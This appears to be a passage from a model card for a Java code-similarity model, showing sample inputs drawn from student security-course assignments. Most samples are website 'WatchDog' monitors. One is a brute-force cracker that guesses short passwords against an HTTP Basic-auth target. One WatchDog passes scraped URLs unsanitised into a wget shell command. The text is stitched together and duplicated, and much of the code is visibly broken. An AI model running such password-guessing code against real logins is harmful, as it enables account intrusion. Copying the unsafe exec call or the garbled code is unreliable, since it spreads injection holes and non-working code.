{\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new 